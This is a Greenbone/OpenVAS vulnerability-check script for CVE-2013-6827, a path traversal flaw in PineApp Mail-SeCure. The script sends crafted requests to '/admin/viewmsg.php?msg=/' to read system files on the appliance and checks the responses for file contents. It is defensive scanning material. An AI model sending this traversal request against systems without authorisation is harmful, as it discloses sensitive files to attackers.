PineApp Mail-SeCure Absolute Path Traversal Vulnerability

# SPDX-FileCopyrightText: 2013 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.802066");
  script_version("2023-07-27T05:05:08+0000");
  script_cve_id("CVE-2013-6827");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_tag(name:"last_modification", value:"2023-07-27 05:05:08 +0000 (Thu, 27 Jul 2023)");
  script_tag(name:"creation_date", value:"2013-12-04 12:01:21 +0530 (Wed, 04 Dec 2013)");
  script_name("PineApp Mail-SeCure Absolute Path Traversal Vulnerability");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2013 Greenbone AG");
  script_family("Web application abuses");
  script_exclude_keys("Settings/disable_cgi_scanning", "PineApp/missing");
  script_dependencies("find_service.nasl", "httpver.nasl", "os_detection.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 7443);

  script_tag(name:"summary", value:"PineApp Mail-SeCure appliance is prone to absolute path traversal vulnerability.");

  script_tag(name:"vuldetect", value:"Send the crafted HTTP GET request and check is it possible to read
  the system file or not.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore.
  General solution options are to upgrade to a newer release, disable respective features,
  remove the product or replace the product by another one.");

  script_tag(name:"insight", value:"The flaw is due to the '/admin/viewmsg.php' script not properly sanitizing
  user supplied input.");

  script_tag(name:"affected", value:"PineApp Mail-SeCure 5099SK version 3.70, Other versions may also be
  affected.");

  script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to perform directory
  traversal attacks and read arbitrary files on the affected appliance.");

  script_xref(name:"URL", value:"http://seclists.org/fulldisclosure/2013/Nov/136");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/63827");
  script_xref(name:"URL", value:"http://archives.neohapsis.com/archives/fulldisclosure/2013-11/0133.html");

  script_tag(name:"solution_type", value:"WillNotFix");
  script_tag(name:"qod_type", value:"remote_vul");

  exit(0);
}

include("host_details.inc");
include("os_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("misc_func.inc");

port = http_get_port(default:7443);

res = http_get_cache(port:port, item:"/");

if("PineApp" >!< res) {
  exit(0);
}

files = traversal_files();

foreach pattern(keys(files)) {

  file = files[pattern];

  url = "/admin/viewmsg.php?msg=/" + file;

  req = http_get(item:url, port:port);
  res = http_keepalive_send_recv(port:port, data:req);

  if(res && egrep(string:res, pattern:pattern)) {
    report = http_report_vuln_url(url:url, port:port);
    security_message(data:report, port:port);
    exit(0);
  }
}

exit(0);